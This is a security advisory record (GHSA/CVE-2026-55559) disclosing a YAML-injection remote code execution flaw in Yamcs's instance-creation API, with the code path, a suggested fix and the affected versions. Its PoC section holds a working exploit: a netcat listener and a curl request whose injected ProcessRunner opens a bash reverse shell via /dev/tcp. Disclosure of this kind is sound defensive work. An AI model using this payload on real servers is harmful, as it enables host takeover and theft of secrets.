{"id":"GHSA-73mf-m39p-wpm9","summary":"Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)","details":"### Summary\n\n`templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren't escaped for YAML or validated server-side.\n\nNeeds the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.\n\n### Details\n\n`VarStatement` appends arg values with no escaping:\n\n```java\n// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29\nbuf.append(value);\n```\n\nThe only filter, `EscapeFilter`, does HTML escaping (`& \u003c \u003e ' \"`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn't help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form.\n\nRequest to exec:\n`InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`)\n→ `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`)\n→ rendered config loaded as `YConfiguration`\n→ `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`)\n→ `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`).\n\n`createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in.\n\nA fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context.\n\n### PoC\n\nRun the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: \"...\"`.\n\nListener:\n\n```\nnc -lvnp 4444\n```\n\nRequest (set `\u003cLHOST\u003e` / `\u003cLPORT\u003e` to the listener):\n\n```bash\ncurl -i -X POST http://\u003ctarget\u003e:8090/api/instances \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"name\": \"pwned\",\n    \"template\": \"example\",\n    \"templateArgs\": {\n      \"spaceSystem\": \"x\\\"\\nservices:\\n  - class: org.yamcs.ProcessRunner\\n    args:\\n      command: [\\\"bash\\\", \\\"-c\\\", \\\"exec 3\u003c\u003e/dev/tcp/\u003cLHOST\u003e/\u003cLPORT\u003e; sh -i \u003c&3 \u003e&3 2\u003e&3\\\"]\\n#\",\n      \"bar\": \"Option 2\"\n    }\n  }'\n```\n\nReturns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: \"...\"` quote, adds a top-level `services:` (which overrides the template's `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `\"`.\n\nWith `security.yaml` it's the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege 'ChangeMissionDatabase'`) on the algorithm-override path but 200 here.\n\n### Impact\n\nCommand execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.\n\nIt needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without `security.yaml`, this is host takeover from the API.","aliases":["CVE-2026-55559"],"modified":"2026-08-28T17:40:35.569316Z","published":"2026-08-28T17:23:04Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-08-28T17:23:04Z","nvd_published_at":null,"cwe_ids":["CWE-1336","CWE-470","CWE-94"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9"},{"type":"WEB","url":"https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa"},{"type":"WEB","url":"https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8"},{"type":"PACKAGE","url":"https://github.com/yamcs/yamcs"},{"type":"WEB","url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"},{"type":"WEB","url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"}],"affected":[{"package":{"name":"org.yamcs:yamcs-core","ecosystem":"Maven","purl":"pkg:maven/org.yamcs/yamcs-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.13.0"},{"fixed":"5.13.2"}]}],"versions":["5.13.0","5.13.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.13.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-73mf-m39p-wpm9/GHSA-73mf-m39p-wpm9.json"}},{"package":{"name":"org.yamcs:yamcs-core","ecosystem":"Maven","purl":"pkg:maven/org.yamcs/yamcs-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.12.8"}]}],"versions":["0.29.3","0.30.0","3.0.0","3.1.0","3.1.1","3.1.2","3.2.0","3.2.1","3.2.2","3.3.0","3.3.1","3.4.0","3.4.1","3.4.11","3.4.2","3.4.3","3.4.4","3.4.5","3.4.6","3.4.8","4.0.0","4.0.1","4.1.1","4.1.2","4.10.0","4.10.1","4.10.2","4.10.3","4.10.4","4.10.5","4.10.6","4.10.7","4.10.8","4.10.9","4.2.0","4.2.1","4.2.2","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.7","4.7.1","4.7.3","4.8.0","4.8.1","4.9.0","4.9.1","4.9.2","4.9.3","4.9.4","5.0.0","5.1.0","5.1.1","5.1.2","5.1.3","5.1.4","5.10.0","5.10.1","5.10.10","5.10.11","5.10.12","5.10.2","5.10.3","5.10.4","5.10.5","5.10.6","5.10.7","5.10.8","5.10.9","5.11.0","5.11.1","5.11.10","5.11.11","5.11.12","5.11.13","5.11.2","5.11.3","5.11.4","5.11.5","5.11.6","5.11.7","5.11.8","5.11.9","5.12.0","5.12.1","5.12.2","5.12.3","5.12.4","5.12.5","5.12.6","5.12.7","5.2.0","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.2.6","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.5.0","5.5.1","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.7","5.6.0","5.6.1","5.6.2","5.7.0","5.7.1","5.7.10","5.7.11","5.7.12","5.7.13","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.9","5.8.0","5.8.1","5.8.2","5.8.3","5.8.4","5.8.5","5.8.6","5.8.7","5.8.8","5.9.0","5.9.1","5.9.10","5.9.11","5.9.12","5.9.2","5.9.3","5.9.4","5.9.5","5.9.6","5.9.7","5.9.8","5.9.8.1","5.9.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.12.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-73mf-m39p-wpm9/GHSA-73mf-m39p-wpm9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}